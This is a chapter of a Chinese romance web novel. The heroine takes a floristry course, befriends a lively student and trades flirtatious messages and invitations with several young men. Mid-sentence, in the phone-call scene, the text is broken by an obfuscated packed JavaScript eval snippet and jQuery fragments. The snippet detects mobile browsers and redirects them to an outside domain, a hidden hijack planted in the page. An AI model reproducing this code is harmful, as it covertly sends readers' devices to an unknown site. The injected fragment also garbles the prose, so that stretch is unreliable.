过了两天,黎千绮在网上买的花艺书籍到了。
她静下心在家里阅读了一遍,大概了解相关的知识,理论已经拿在手中,接下来就是进行实际操作。
至于要选哪家机构的花艺课程……选来选去也没定好。
她找出放在包里的那张传单。
把上面的联系方式加入了手机通讯录。
既然是主动送上门的。
或许……又是一种有利于她的暗示。
过两天去了解一下好了。
待在家中读书的期间,季子言以邻居的身份请她吃了一顿饭。
原因很简单,他想对第一次的冒昧郑重道歉。
黎千绮没太在意,能从一张完全长在审美点的脸上看到各种神情变化,也算一种赏心悦目的表演秀。
这天,她和阳光花艺的老师联系好时间。
跟着其他人一起上了一节体验课,以黎千绮的感受来讲,这家机构不一定是顶级的,但上课的老师属于可遇不可求。
上课的节奏和方式,一节课能教出的东西。
让她没多犹豫就报了她的班。
课程将持续一个月,每周上三天。
从下周一开始。
黎千绮走出教室的时候,怀里还抱着一个花篮。
体验课上,老师简单的教了些搭配技巧,让大家按照自己的喜好和审美做出成品,并可以带回去做纪念品。
不过,这是天赋吗?
还是自己的滤镜?
黎千绮忍不住举起那捧花,越看越喜欢,瞧瞧这恰到好处的色彩点缀,瞧瞧这充满层次感和氛围感的造型。
可真是——
“真是漂亮啊,这花篮!”
……咦。
怎么有人抢先一步把她的心声喊出来了。
黎千绮下意识朝来人看去,是一个……扎高马尾的小姑娘?
她三步并两步地靠近过来,一双猫瞳睁大,惊叹道:“瞧瞧这色彩,瞧瞧这设计,这难道就是传说中的搭配之力!”
女生主动过来搭话,熟稔地犹如多年好友重遇。
可黎千绮确实不认识她。
不仅不认识,还被她的自来熟惊了一下。
不远处,她的朋友满脸焦灼,一边摆手一边小声喊她。
“薛雁,你别……”
想要把女生拽回身边,但速度赶不上她的“闪现”,只能无力地抓了抓手边的空气。
这位朋友脸上不仅有想走却走不掉的尴尬,更有一种已经习惯认命的淡淡死感。
果不其然,薛雁很快发送来一条好友请求。
谁能拒绝一个说出自己心声的女生。
黎千绮二话不说同意了。
但她从未想过,她们还会有更深的联系。
在中彩票、拥有类似于万人迷的体质之前,她一直没什么朋友。
因为黎千绮对朋友的定义有些苛刻。
并不是多聊点天,一起出去玩过几趟就算得上朋友。
至少要经历更多更深层次的交流,有过灵魂之间的共鸣。
否则,就只能算得上是熟人。
后来她认识的人范围越变越大,大家对她的态度好到出奇,毫不吝啬地散发善意,主动和她搭话结识,保持着联系。
但身边依旧没什么能称得上朋友的存在。
她也不强求,只是偶尔会思考是否真的能遇到。
直到薛雁的出现。
让黎千绮终于明白什么叫做“入室抢劫般的友情”。
薛雁是即将毕业、正在实习的大四学生,拥有非常强大的行动力,会用意想不到的方式靠近,又不会过于吵闹,其中的分寸把握得堪称完美。
在黎千绮还没反应过来的时候,两人已经成为了朋友。
是的,在她定义中的朋友。
她们之间有太多相同又相反的一面,每一次见面,或是打开聊天框,都会控制不住地发展成一场愉快的探讨。
过程太过于顺畅自然,直到结束都会觉得不可思议。
或轻松、或沉重的主题。
那些两人深藏在内心深处的话语,居然如此轻易地拿出来剖析。
黎千绮终于经历到,过去听其他人说畅聊一个通宵也不会累的夜谈。
原来是这种感觉。
在上花艺课的一个月中,她基本保持着三点一线。
学习知识,大量练习,与薛雁聊天。
在闲暇时刻,她不再选择出门,而是打开手机翻阅其他人的朋友圈,从她们的生活中汲取快乐的养分。
这天夜晚,她放下手中的花泥,把杂乱的工作台稍微清理干净。
刚做好的又一捧花束摆放在正中央。
黎千绮走远几步再走近,反复的观察,不让自己陷入细节太久,确保整体的效果。
满意之后,将花束包好,准备第二天送给邻居。
这些天的练习都是这样处理的。
收到花的人很开心,也不会凭白浪费。
太久保持一个姿势让她的腰背又酸又痛。
黎千绮习惯性地拉伸,中途想到什么,捞过手机打开朋友圈。
差不多就是这个时间段。
她往下没翻几个。
果然看见季子言又发了新的分享日常的图片。
【图片.JPG】
那是一张简单的风景照,从落地窗往外拍,一轮明月挂在漆黑的夜空中,只有周围的一些云彩被月光照出朦胧的轮廓。
照片的右下角是一面全身镜,里面映出繁华的城市灯光,星星点点。
与此同时,屏幕上方弹出季子言一条新消息,点进去,他发来了一张图片。
就像一种心照不宣的游戏,他同一时间拍下的图片,一张发在朋友圈,一张发给她。
和朋友圈的有点像,又有点不太一样。
发给她的那张总会“不经意间”出场季子言的一部分。
有时是一截白玉般的手指,有时是半张棱角分明的侧脸。
这次的……
没等黎千绮仔细看,照片后面又多了一句话。
【卷毛小狗:今天的月亮好圆!】
黎千绮拿上手机,也走到落地窗前,她看着月亮,再对比照片,总觉得为了拍出效果,季子言是关了灯后拍摄的。
这样一来,房间里的光线就被压得更暗了。
她看见季子言发给她的照片里,角落的全身镜占比和角度变了,有什么模糊的影子不小心入镜被拍了下来。
但因为太暗,怎么也看不清。
第一次,黎千绮保存下照片,想拉高亮度看看究竟是什么。
毕竟有了前面的经验,她总觉得不是一张单纯的风景照。
然而拉高亮度之后。
她沉默了几秒。
一时没反应过来,这张照片究竟是他用心拍的,还是纯属没注意。
不然,怎么会露出一片半敞开的胸膛?
应该是刚洗完澡不久,浴袍没有裹得非常严实,领口松松垮垮地搭着,柔软的浴袍边缘盖在线条流畅的肌肉块上。
不算夸张,极具美感。
黎千绮的目光忍不住多停留了一会儿。
是不小心入镜吗?
不是吧。
对于这种刁钻的角度,她很快下了结论——绝对是精心调整过的。
不过,她想了想还是删了。
存图应该在明确对方是故意的前提下。
至少要他自己承认是故意的,而不是玩什么找不同的游戏。
礼尚往来,她也拍下自己刚刚完成的花束,把照片分享给他。
季子言几乎是下一秒就发来回复。
这速度就好像一直在等她。
黎千绮嘴角弯了弯,简单地打下几个字。
另一边。
面对聊天框最后那句明显是结束话题的短句。
季子言深深叹了一口气。
他打开手机相册,手指滑动里面相差不大的几十张照片。
全都是刚才拍废了的。
季子言选中全部,然后删除。
只留下最后一张发给黎千绮的那张。
他忍不住点开,反复的看。
总感觉浴袍的领口扯得有点刻意和僵硬。
“一定是这次拍得不够好……”他敲击屏幕,喃喃道。
在季子言还在钻研如何拍好照的时候,黎千绮正在和薛雁语音聊天。
薛雁目前的实习加班有些严重,她正在考虑要不要换一家,可又舍不得公司里合心意的上班搭子。
在她的哀嚎声中,一个陌生电话打了进来。
黎千绮和薛雁说了一声挂断语音,接通电话。
她听见对面轻浅的呼吸声,“你好?”
“打扰了,不知道你还记得一个月前的老巷子吗,我是当时被你帮助的人,我叫池眠。”
听筒
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15836196|175695||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
里传出一道柔和的声音,夹带一点点砂砾的质感,尾音音调微扬,像有一条小钩子轻轻缠上来。
黎千绮的眼前立刻浮现那张女娲亲手捏出来的脸。
她想起来了。
一个星期前有一通电话,对面声称是一位什么管家,说是为了感谢她,他家少爷想邀请她共进午餐。
但她没仔细听,以为是诈骗,就表示没空拒绝了。
这次换成了本人打电话过来亲自邀请。
黎千绮才反应过来,原来那不是一通诈骗电话。
池眠的语气极其诚恳,一秒将她拉回那天,定格在男人可怜哀求的表情上。
而他说的那家餐厅。
好巧不巧,她昨天刚刷到相关的推送。
或许是大数据发现她中了彩票,将她列入富婆名单,主页上逐渐被各种奢侈精彩的人生填满。
那家餐厅也是其中之一。
据说老板性格固执,只接待满足条件的客人,手艺却绝佳。她的祖上是御厨,家中传下来许多手抄本食谱,从记事起就在各地拜师学习,多年来一直刻苦钻研。
慕名而来的客人络绎不绝,光是预约就要费好大的功夫。
池眠:“不用勉强,我只是很想当面感谢你,如果给你带来困扰,就不是我的本意了。”他的声音藏着明显的失落。
黎千绮:“……我不太确定哪天有时间。”
池眠短促地笑了笑,“没关系,随时什么时候都可以。”
“那就下周,具体的时间,我会发短信告诉你。”
“好,我等你。”
挂断电话,看到时间已经不早了。
明天就是花艺课程的最后一天,要做个完美的收尾才行。
黎千绮把多余的念头抛至九霄云外,很快睡下了。
次日。
黎千绮在花艺课老师的优秀教学下结课,依依不舍地和对方告别。
从教室走出来的一路上,她边走边和薛雁打字聊天。
明天是星期六,薛雁好不容易从加班地狱中挣脱出来,打算好好地休息放松一下,她已经找好了各种地点和活动,一个个地交给黎千绮来选择。
不愧是超强的行动力,这么快计划表都做出来了。
黎千绮和她约好明天的见面时间,一抬头,居然看到了陆南岑。
他正在和另外一个年纪相仿的男生聊天,臂弯上还挂着一件白色衣服,是“阳光花艺”的工作服。
两人朝着她的方向慢慢走来。
第三次了。
这个念头刚冒出来,陆南岑和朋友说完话,转头就对上了黎千绮的视线。
他眼睛一亮,挥手道:“姐姐,好巧啊!你来这边上课吗?”说完,匆匆把工作服交给身边的人,然后小跑到她的面前。
陆南岑高大的身影一靠近,把阳光都遮住了大半。
太近了。
黎千绮后退半步,“是最后一节课,后面不会再来了。”
他惊讶道:“哇,真的好巧,今天也是我最后一次来兼职了,本来打算把洗干净的衣服还回去,结果老板说不用还,我留着也没用,就送给还要继续兼职的朋友了。”
黎千绮点点头。
打从两人的第一面起,她就抱着和陆南岑大概率不会再见的想法。
可没想到前后不到两个月的时间,两个人频繁地偶遇。
这不是一句“好巧”就能概括过去的情况。
只能是他用心创造的机会。
黎千绮看见他不加修饰的喜悦,上扬的嘴角。
难道就为了当时一句“见面三次就加联系方式”的原因?
嗯……很有可能,毕竟陆南岑刚刚成年,还在处于喜欢纠缠的年纪中。
“姐姐,你周末有空吗?”
见她不再说话,陆南岑主动寻找话题,“这周末有一个大型花展,每年都举办一次,我记得去年的绣球花主题长廊非常出彩,还上了热搜呢!”
“花展?”
黎千绮沉吟片刻,多看看不同的花艺风格,对她的审美意识也有好处。
要不是陆南岑提起,她大概会错过这个花展。
陆南岑见她的神情松动,立刻说道:“第一次见面的时候,我就答应要带姐姐去逛逛有趣的地方,拜托拜托,可以不要拒绝我吗?”
“知道了。”
黎千绮弯了弯眸,点了两下手机屏幕给他,“那就先加个好友,我们周末见。”